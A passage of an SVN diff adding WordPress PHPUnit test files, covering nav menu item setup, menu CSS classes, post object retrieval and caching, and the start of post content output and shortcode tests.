+		register_post_type( $post_type_slug ,array(
+			'public' => true,
+			'has_archive' => true,
+			'label' => $post_type_slug
+		));
+
+		$post_type_archive_item_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type_archive',
+			'menu-item-object' => $post_type_slug,
+			'menu-item-status' => 'publish'
+		) );
+		$post_type_archive_item = wp_setup_nav_menu_item( get_post( $post_type_archive_item_id ) );
+
+		$this->assertEquals( $post_type_slug , $post_type_archive_item->title );
+		$this->assertEquals( $post_type_description , $post_type_archive_item->description ); //fail!!!
+	}
+
+	/**
+	 * @ticket 35324
+	 */
+	function test_wp_setup_nav_menu_item_for_post_type_archive_custom_description() {
+
+		$post_type_slug = rand_str( 12 );
+		$post_type_description = rand_str();
+		register_post_type( $post_type_slug ,array(
+			'public' => true,
+			'has_archive' => true,
+			'description' => $post_type_description,
+			'label' => $post_type_slug
+		));
+
+		$menu_item_description = rand_str();
+
+		$post_type_archive_item_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type_archive',
+			'menu-item-object' => $post_type_slug,
+			'menu-item-description' => $menu_item_description,
+			'menu-item-status' => 'publish'
+		) );
+		$post_type_archive_item = wp_setup_nav_menu_item( get_post( $post_type_archive_item_id ) );
+
+		$this->assertEquals( $post_type_slug , $post_type_archive_item->title );
+		$this->assertEquals( $menu_item_description , $post_type_archive_item->description );
+	}
+
+	/**
+	 * @ticket 35324
+	 */
+	function test_wp_setup_nav_menu_item_for_unknown_post_type_archive_no_description() {
+
+		$post_type_slug = rand_str( 12 );
+
+		$post_type_archive_item_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type'   => 'post_type_archive',
+			'menu-item-object' => $post_type_slug,
+			'menu-item-status' => 'publish'
+		) );
+		$post_type_archive_item = wp_setup_nav_menu_item( get_post( $post_type_archive_item_id ) );
+
+		$this->assertEmpty( $post_type_archive_item->description );
+	}
+
+	/**
+	 * @ticket 19038
+	 */
+	function test_wp_setup_nav_menu_item_for_trashed_post() {
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'trash',
+		) );
+
+		$menu_item_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type'      => 'post_type',
+			'menu-item-object'    => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-status'    => 'publish',
+		) );
+
+		$menu_item = wp_setup_nav_menu_item( get_post( $menu_item_id ) );
+
+		$this->assertTrue( ! _is_valid_nav_menu_item( $menu_item ) );
+	}
+
+	/**
+	 * @ticket 35206
+	 */
+	function test_wp_nav_menu_whitespace_options() {
+		$post_id1 = self::factory()->post->create();
+		$post_id2 = self::factory()->post->create();
+		$post_id3 = self::factory()->post->create();
+		$post_id4 = self::factory()->post->create();
+
+		$post_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id1,
+			'menu-item-status' => 'publish'
+		) );
+
+		$post_inser2 = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id2,
+			'menu-item-status' => 'publish'
+		) );
+
+		$post_insert3 = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-parent-id' => $post_insert,
+			'menu-item-object-id' => $post_id3,
+			'menu-item-status' => 'publish'
+		) );
+
+		$post_insert4 = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-parent-id' => $post_insert,
+			'menu-item-object-id' => $post_id4,
+			'menu-item-status' => 'publish'
+		) );
+
+		// No whitespace suppression.
+		$menu = wp_nav_menu( array(
+			'echo' => false,
+			'menu' => $this->menu_id,
+		) );
+
+		// The markup should include whitespace between <li>s
+		$this->assertRegExp( '/\s<li.*>|<\/li>\s/U', $menu );
+		$this->assertNotRegExp( '/<\/li><li.*>/U', $menu );
+
+
+		// Whitepsace suppressed.
+		$menu = wp_nav_menu( array(
+			'echo'         => false,
+			'item_spacing' => 'discard',
+			'menu'         => $this->menu_id,
+		) );
+
+		// The markup should not include whitespace around <li>s
+		$this->assertNotRegExp( '/\s<li.*>|<\/li>\s/U', $menu );
+		$this->assertRegExp( '/><li.*>|<\/li></U', $menu );
+	}
+
+	/*
+	 * Confirm `wp_nav_menu()` and `Walker_Nav_Menu` passes an $args object to filters.
+	 *
+	 * `wp_nav_menu()` is unique in that it uses an $args object rather than an array.
+	 * This has been the case for some time and should be maintained for reasons of
+	 * backward compatibility.
+	 *
+	 * @ticket 24587
+	 */
+	function test_wp_nav_menu_filters_are_passed_args_object() {
+		$tag_id = self::factory()->tag->create();
+
+		$tag_insert = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'post_tag',
+			'menu-item-object-id' => $tag_id,
+			'menu-item-status' => 'publish',
+		) );
+
+		/*
+		 * The tests take place in a range of filters to ensure the passed
+		 * arguments are an object.
+		 */
+		// In function.
+		add_filter( 'pre_wp_nav_menu',          array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+		add_filter( 'wp_nav_menu_objects',      array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+		add_filter( 'wp_nav_menu_items',        array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+
+		// In walker.
+		add_filter( 'nav_menu_item_args',       array( $this, '_confirm_nav_menu_item_args_object' ) );
+
+		add_filter( 'nav_menu_css_class',       array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		add_filter( 'nav_menu_item_id',         array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		add_filter( 'nav_menu_link_attributes', array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		add_filter( 'nav_menu_item_title',      array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+
+		add_filter( 'walker_nav_menu_start_el', array( $this, '_confirm_forth_param_args_object' ), 10, 4 );
+
+		wp_nav_menu( array(
+			'echo' => false,
+			'menu' => $this->menu_id,
+		) );
+		wp_delete_term( $tag_id, 'post_tag' );
+
+		/*
+		 * Remove test filters.
+		 */
+		// In function.
+		remove_filter( 'pre_wp_nav_menu',          array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+		remove_filter( 'wp_nav_menu_objects',      array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+		remove_filter( 'wp_nav_menu_items',        array( $this, '_confirm_second_param_args_object' ), 10, 2 );
+
+		// In walker.
+		remove_filter( 'nav_menu_item_args',       array( $this, '_confirm_nav_menu_item_args_object' ) );
+
+		remove_filter( 'nav_menu_css_class',       array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		remove_filter( 'nav_menu_item_id',         array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		remove_filter( 'nav_menu_link_attributes', array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+		remove_filter( 'nav_menu_item_title',      array( $this, '_confirm_third_param_args_object' ), 10, 3 );
+
+		remove_filter( 'walker_nav_menu_start_el', array( $this, '_confirm_forth_param_args_object' ), 10, 4 );
+
+	}
+
+	/**
+	 * Run tests required to confrim Walker_Nav_Menu receives an $args object.
+	 */
+	function _confirm_nav_menu_item_args_object( $args ) {
+		$this->assertTrue( is_object( $args ) );
+		return $args;
+	}
+
+	function _confirm_second_param_args_object( $ignored_1, $args ) {
+		$this->assertTrue( is_object( $args ) );
+		return $ignored_1;
+	}
+
+	function _confirm_third_param_args_object( $ignored_1, $ignored_2, $args ) {
+		$this->assertTrue( is_object( $args ) );
+		return $ignored_1;
+	}
+
+	function _confirm_forth_param_args_object( $ignored_1, $ignored_2, $ignored_3, $args ) {
+		$this->assertTrue( is_object( $args ) );
+		return $ignored_1;
+	}
+
+
+	/**
+	 * @ticket 35272
+	 */
+	function test_no_front_page_class_applied() {
+		$page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Home Page' ) );
+
+		wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'page',
+			'menu-item-object-id' => $page_id,
+			'menu-item-status' => 'publish',
+		));
+
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		_wp_menu_item_classes_by_context( $menu_items );
+
+		$classes = $menu_items[0]->classes;
+
+		$this->assertNotContains( 'menu-item-home', $classes );
+	}
+
+
+	/**
+	 * @ticket 35272
+	 */
+	function test_class_applied_to_front_page_item() {
+		$page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Home Page' ) );
+		update_option( 'page_on_front', $page_id );
+
+		wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'page',
+			'menu-item-object-id' => $page_id,
+			'menu-item-status' => 'publish',
+		));
+
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		_wp_menu_item_classes_by_context( $menu_items );
+
+		$classes = $menu_items[0]->classes;
+
+		delete_option( 'page_on_front' );
+
+		$this->assertContains( 'menu-item-home', $classes );
+	}
+
+	/**
+	 * @ticket 35272
+	 */
+	function test_class_not_applied_to_taxonomies_with_same_id_as_front_page_item() {
+		global $wpdb;
+
+		$new_id = 35272;
+
+		$page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Home Page' ) );
+		$tag_id = self::factory()->tag->create();
+
+		$wpdb->query( "UPDATE $wpdb->posts SET ID=$new_id WHERE ID=$page_id" );
+		$wpdb->query( "UPDATE $wpdb->terms SET term_id=$new_id WHERE term_id=$tag_id" );
+		$wpdb->query( "UPDATE $wpdb->term_taxonomy SET term_id=$new_id WHERE term_id=$tag_id" );
+
+		update_option( 'page_on_front', $new_id );
+
+		wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'post_tag',
+			'menu-item-object-id' => $new_id,
+			'menu-item-status' => 'publish',
+		) );
+
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		_wp_menu_item_classes_by_context( $menu_items );
+
+		$classes = $menu_items[0]->classes;
+
+		$this->assertNotContains( 'menu-item-home', $classes );
+	}
+
+	/**
+	 * Test _wp_delete_customize_changeset_dependent_auto_drafts.
+	 *
+	 * @covers _wp_delete_customize_changeset_dependent_auto_drafts()
+	 */
+	function test_wp_delete_customize_changeset_dependent_auto_drafts() {
+		$auto_draft_post_id = $this->factory()->post->create( array(
+			'post_status' => 'auto-draft',
+		) );
+		$draft_post_id = $this->factory()->post->create( array(
+			'post_status' => 'draft',
+		) );
+		$private_post_id = $this->factory()->post->create( array(
+			'post_status' => 'private',
+		) );
+
+		$nav_created_post_ids = array(
+			$auto_draft_post_id,
+			$draft_post_id,
+			$private_post_id,
+		);
+		$data = array(
+			'nav_menus_created_posts' => array(
+				'value' => $nav_created_post_ids,
+			),
+		);
+		wp_set_current_user( self::factory()->user->create( array(
+			'role' => 'administrator',
+		) ) );
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		$wp_customize = new WP_Customize_Manager();
+		do_action( 'customize_register', $wp_customize );
+		$wp_customize->save_changeset_post( array(
+			'data' => $data,
+		) );
+		$this->assertEquals( 'auto-draft', get_post_status( $auto_draft_post_id ) );
+		$this->assertEquals( 'draft', get_post_status( $draft_post_id ) );
+		$this->assertEquals( 'private', get_post_status( $private_post_id ) );
+		wp_delete_post( $wp_customize->changeset_post_id(), true );
+		$this->assertFalse( get_post_status( $auto_draft_post_id ) );
+		$this->assertEquals( 'trash', get_post_status( $draft_post_id ) );
+		$this->assertEquals( 'private', get_post_status( $private_post_id ) );
+	}
+
+	/**
+	 * @ticket 39800
+	 */
+	function test_parent_ancestor_for_post_archive() {
+
+		register_post_type( 'books', array( 'label' => 'Books', 'public' => true, 'has_archive' => true ) );
+
+		$first_page_id  = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Top Level Page' ) );
+		$second_page_id = self::factory()->post->create( array( 'post_type' => 'page', 'post_title' => 'Second Level Page' ) );
+
+
+		$first_menu_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type'      => 'post_type',
+			'menu-item-object'    => 'page',
+			'menu-item-object-id' => $first_page_id,
+			'menu-item-status'    => 'publish',
+		));
+
+		$second_menu_id = wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type'      => 'post_type',
+			'menu-item-object'    => 'page',
+			'menu-item-object-id' => $second_page_id,
+			'menu-item-status'    => 'publish',
+			'menu-item-parent-id' => $first_menu_id
+		));
+
+		wp_update_nav_menu_item( $this->menu_id, 0, array(
+			'menu-item-type'      => 'post_type_archive',
+			'menu-item-object'    => 'books',
+			'menu-item-status'    => 'publish',
+			'menu-item-parent-id' => $second_menu_id
+		));
+
+		$this->go_to( get_post_type_archive_link( 'books' ) );
+
+		$menu_items = wp_get_nav_menu_items( $this->menu_id );
+		_wp_menu_item_classes_by_context( $menu_items );
+
+		$top_page_menu_item       = $menu_items[0];
+		$secondary_page_menu_item = $menu_items[1];
+		$post_archive_menu_item   = $menu_items[2];
+
+		$this->assertFalse( $top_page_menu_item->current_item_parent );
+		$this->assertTrue( $top_page_menu_item->current_item_ancestor );
+		$this->assertContains( 'current-menu-ancestor', $top_page_menu_item->classes );
+
+		$this->assertTrue( $secondary_page_menu_item->current_item_parent );
+		$this->assertTrue( $secondary_page_menu_item->current_item_ancestor  );
+		$this->assertContains( 'current-menu-parent', $secondary_page_menu_item->classes );
+		$this->assertContains( 'current-menu-ancestor', $secondary_page_menu_item->classes );
+
+		$this->assertFalse( $post_archive_menu_item->current_item_parent );
+		$this->assertFalse( $post_archive_menu_item->current_item_ancestor  );
+
+		$this->assertNotContains( 'current-menu-parent', $post_archive_menu_item->classes );
+		$this->assertNotContains( 'current-menu-ancestor', $post_archive_menu_item->classes );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/objects.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/objects.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/objects.php	(revision 56912)
@@ -0,0 +1,215 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Objects extends WP_UnitTestCase {
+
+	function test_get_post() {
+		$id = self::factory()->post->create();
+
+		$post = get_post( $id );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+		$this->assertTrue( isset( $post->ancestors ) );
+		$this->assertEquals( array(), $post->ancestors );
+
+		// Unset and then verify that the magic method fills the property again
+		unset( $post->ancestors );
+		$this->assertEquals( array(), $post->ancestors );
+
+		// Magic get should make meta accessible as properties
+		add_post_meta( $id, 'test', 'test' );
+		$this->assertEquals( 'test', get_post_meta( $id, 'test', true ) );
+		$this->assertEquals( 'test', $post->test );
+
+		// Make sure meta does not eclipse true properties
+		add_post_meta( $id, 'post_type', 'dummy' );
+		$this->assertEquals( 'dummy', get_post_meta( $id, 'post_type', true ) );
+		$this->assertEquals( 'post', $post->post_type );
+
+		// Excercise the output argument
+		$post = get_post( $id, ARRAY_A );
+		$this->assertInternalType( 'array', $post );
+		$this->assertEquals( 'post', $post[ 'post_type' ] );
+
+		$post = get_post( $id, ARRAY_N );
+		$this->assertInternalType( 'array', $post );
+		$this->assertFalse( isset( $post[ 'post_type' ] ) );
+		$this->assertTrue( in_array( 'post', $post ) );
+
+		$post = get_post( $id );
+		$post = get_post( $post, ARRAY_A );
+		$this->assertInternalType( 'array', $post );
+		$this->assertEquals( 'post', $post[ 'post_type' ] );
+		$this->assertEquals( $id, $post[ 'ID' ] );
+
+		// Should default to OBJECT when given invalid output argument
+		$post = get_post( $id, 'invalid-output-value' );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+
+		// Make sure stdClass in $GLOBALS['post'] is handled
+		$post_std = $post->to_array();
+		$this->assertInternalType( 'array', $post_std );
+		$post_std = (object) $post_std;
+		$GLOBALS['post'] = $post_std;
+		$post = get_post( null );
+		$this->assertInstanceOf( 'WP_Post', $post );
+		$this->assertEquals( $id, $post->ID );
+		unset( $GLOBALS['post'] );
+
+		// If no global post and passing empty value, expect null.
+		$this->assertNull( get_post( null ) );
+		$this->assertNull( get_post( 0 ) );
+		$this->assertNull( get_post( '' ) );
+		$this->assertNull( get_post( false ) );
+	}
+
+	function test_get_post_ancestors() {
+		$parent_id = self::factory()->post->create();
+		$child_id = self::factory()->post->create();
+		$grandchild_id = self::factory()->post->create();
+		$updated = wp_update_post( array( 'ID' => $child_id, 'post_parent' => $parent_id ) );
+		$this->assertEquals( $updated, $child_id );
+		$updated = wp_update_post( array( 'ID' => $grandchild_id, 'post_parent' => $child_id ) );
+		$this->assertEquals( $updated, $grandchild_id );
+
+		$this->assertEquals( array( $parent_id ), get_post( $child_id )->ancestors );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( $child_id ) );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( get_post( $child_id ) ) );
+
+		$this->assertEquals( array( $child_id, $parent_id ), get_post( $grandchild_id )->ancestors );
+		$this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( $grandchild_id ) );
+		$this->assertEquals( array( $child_id, $parent_id ), get_post_ancestors( get_post( $grandchild_id ) ) );
+
+		$this->assertEquals( array(), get_post( $parent_id )->ancestors );
+		$this->assertEquals( array(), get_post_ancestors( $parent_id ) );
+		$this->assertEquals( array(), get_post_ancestors( get_post( $parent_id ) ) );
+	}
+
+	/**
+	 * @ticket 22882
+	 */
+	function test_get_post_ancestors_with_falsey_values() {
+		foreach ( array( null, 0, false, '0', '' ) as $post_id ) {
+			$this->assertInternalType( 'array', get_post_ancestors( $post_id ) );
+			$this->assertEquals( array(), get_post_ancestors( $post_id ) );
+		}
+	}
+
+	function test_get_post_category_property() {
+		$post_id = self::factory()->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'array', $post->post_category );
+		$this->assertEquals( 1, count( $post->post_category ) );
+		$this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+		$term1 = wp_insert_term( 'Foo', 'category' );
+		$term2 = wp_insert_term( 'Bar', 'category' );
+		$term3 = wp_insert_term( 'Baz', 'category' );
+		wp_set_post_categories( $post_id, array( $term1['term_id'], $term2['term_id'], $term3['term_id'] ) );
+		$this->assertEquals( 3, count( $post->post_category ) );
+		$this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post->post_category );
+
+		$post = get_post( $post_id, ARRAY_A );
+		$this->assertEquals( 3, count( $post['post_category'] ) );
+		$this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post['post_category'] );
+	}
+
+	function test_get_tags_input_property() {
+		$post_id = self::factory()->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'array', $post->tags_input );
+		$this->assertEmpty( $post->tags_input );
+		wp_set_post_tags( $post_id, 'Foo, Bar, Baz' );
+		$this->assertInternalType( 'array', $post->tags_input );
+		$this->assertEquals( 3, count( $post->tags_input ) );
+		$this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post->tags_input );
+
+		$post = get_post( $post_id, ARRAY_A );
+		$this->assertInternalType( 'array', $post['tags_input'] );
+		$this->assertEquals( 3, count( $post['tags_input'] ) );
+		$this->assertEquals( array( 'Bar', 'Baz', 'Foo' ), $post['tags_input'] );
+	}
+
+	function test_get_page_template_property() {
+		$post_id = self::factory()->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'string', $post->page_template );
+		$this->assertEmpty( $post->tags_input );
+		$template = get_post_meta( $post->ID, '_wp_page_template', true );
+		$this->assertEquals( $template, $post->page_template );
+		update_post_meta( $post_id, '_wp_page_template', 'foo.php' );
+		$template = get_post_meta( $post->ID, '_wp_page_template', true );
+		$this->assertEquals( 'foo.php', $template );
+		$this->assertEquals( $template, $post->page_template );
+	}
+
+	function test_get_post_filter() {
+		$post = get_post( self::factory()->post->create( array(
+			'post_title' => "Mary's home"
+		) ) );
+
+		$this->assertEquals( 'raw', $post->filter );
+		$this->assertInternalType( 'int', $post->post_parent );
+
+		$display_post = get_post( $post, OBJECT, 'js' );
+		$this->assertEquals( 'js', $display_post->filter );
+		$this->assertEquals( esc_js( "Mary's home" ), $display_post->post_title );
+
+		// Pass a js filtered WP_Post to get_post() with the filter set to raw.
+		// The post should be fetched from cache instead of using the passed object.
+		$raw_post = get_post( $display_post, OBJECT, 'raw' );
+		$this->assertEquals( 'raw', $raw_post->filter );
+		$this->assertNotEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+
+		$raw_post->filter( 'js' );
+		$this->assertEquals( 'js', $post->filter );
+		$this->assertEquals( esc_js( "Mary's home" ), $raw_post->post_title );
+	}
+
+	function test_get_post_identity() {
+		$post = get_post( self::factory()->post->create() );
+
+		$post->foo = 'bar';
+
+		$this->assertEquals( 'bar', get_post( $post )->foo );
+		$this->assertEquals( 'bar', get_post( $post, OBJECT, 'display' )->foo );
+	}
+
+	function test_get_post_array() {
+		$id = self::factory()->post->create();
+
+		$post = get_post( $id, ARRAY_A );
+
+		$this->assertEquals( $id, $post['ID'] );
+		$this->assertInternalType( 'array', $post['ancestors'] );
+		$this->assertEquals( 'raw', $post['filter'] );
+	}
+
+	/**
+	 * @ticket 22223
+	 */
+	function test_get_post_cache() {
+		global $wpdb;
+
+		$id = self::factory()->post->create();
+		wp_cache_delete( $id, 'posts' );
+
+		// get_post( stdClass ) should not prime the cache
+		$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $id ) );
+		$post = get_post( $post );
+		$this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+		// get_post( WP_Post ) should not prime the cache
+		get_post( $post );
+		$this->assertEmpty( wp_cache_get( $id, 'posts' ) );
+
+		// get_post( ID ) should prime the cache
+		get_post( $post->ID );
+		$this->assertNotEmpty( wp_cache_get( $id, 'posts' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/output.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/output.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/output.php	(revision 56912)
@@ -0,0 +1,173 @@
+<?php
+
+// test the output of post template tags etc
+
+/**
+ * @group post
+ * @group formatting
+ */
+class Tests_Post_Output extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		add_shortcode( 'dumptag', array( $this, '_shortcode_dumptag' ) );
+		add_shortcode( 'paragraph', array( $this, '_shortcode_paragraph' ) );
+	}
+
+	function tearDown() {
+		global $shortcode_tags;
+		unset( $shortcode_tags['dumptag'], $shortcode_tags['paragraph'] );
+		parent::tearDown();
+	}
+
+	function _shortcode_dumptag( $atts ) {
+		$out = '';
+		foreach ($atts as $k=>$v)
+			$out .= "$k = $v\n";
+		return $out;
+	}
+
+	function _shortcode_paragraph( $atts, $content ) {
+		extract(shortcode_atts(array(
+			'class' => 'graf',
+		), $atts));
+		return "<p class='$class'>$content</p>\n";
+	}
+
+	function test_the_content() {
+		$post_content = <<<EOF
+<i>This is the excerpt.</i>
+<!--more-->
+This is the <b>body</b>.
+EOF;
+
+		$post_id = self::factory()->post->create( compact( 'post_content' ) );
+
+		$expected = <<<EOF
+<p><i>This is the excerpt.</i><br />
+<span id="more-{$post_id}"></span><br />
+This is the <b>body</b>.</p>
+EOF;
+
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_shortcode() {
+		$post_content = <<<EOF
+[dumptag foo="bar" baz="123"]
+
+[dumptag foo=123 baz=bar]
+
+[dumptag http://example.com]
+
+EOF;
+
+		$expected =<<<EOF
+foo = bar
+baz = 123
+foo = 123
+baz = bar
+0 = http://example.com
+
+EOF;
+
+		$post_id = self::factory()->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_shortcode_paragraph() {
+		$post_content = <<<EOF
+Graf by itself:
+
+[paragraph]my graf[/paragraph]
+
+  [paragraph foo="bar"]another graf with whitespace[/paragraph]
+
+An [paragraph]inline graf[/paragraph], this doesn't make much sense.
+
+A graf with a single EOL first:
+[paragraph]blah[/paragraph]
+
+EOF;
+
+		$expected = <<<EOF
+<p>Graf by itself:</p>
+<p class='graf'>my graf</p>
+
+  <p class='graf'>another graf with whitespace</p>
+
+<p>An <p class='graf'>inline graf</p>
+, this doesn&#8217;t make much sense.</p>
+<p>A graf with a single EOL first:<br />
+<p class='graf'>blah</p>
+</p>
+
+EOF;
+
+		$post_id = self::factory()->post->create( compact( 'post_content' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( have_posts() );
+		$this->assertNull( the_post() );
+
+		$this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+	}
+
+	function test_the_content_attribute_filtering() {
+		kses_init_filters();
+
+		// http://bpr3.org/?p=87
+		// the title attribute should make it through unfiltered
+		$post_content = <<<EOF
+<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.aulast=Mariat&rft.aufirst=Denis&rft. au=Denis+Mariat&rft.au=Sead+Taourit&rft.au=G%C3%A9rard+Gu%C3%A9rin& rft.title=Genetics+Selection+Evolution&rft.atitle=&rft.date=2003&rft. volume=35&rft.issue=1&rft.spage=119&rft.epage=133&rft.genre=article& rft.id=info:DOI/10.1051%2Fgse%3A2002039"></span>Mariat, D., Taourit, S., GuÃ©rin, G. (2003). . <span style="font-style: italic;">Genetics Selection Evolution, 35</span>(1), 119-133. DOI: <a rev="review" href= "http://dx.doi.org/10.1051/gse:2002039">10.1051/gse:2002039</a>
+EOF;
+
+		$expected = <<<EOF
+<p><span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.aulast=Mariat&amp;rft.aufirst=Denis&amp;rft. au=Denis+Mariat&amp;rft.au=Sead+Taourit&amp;rft.au=G%C3%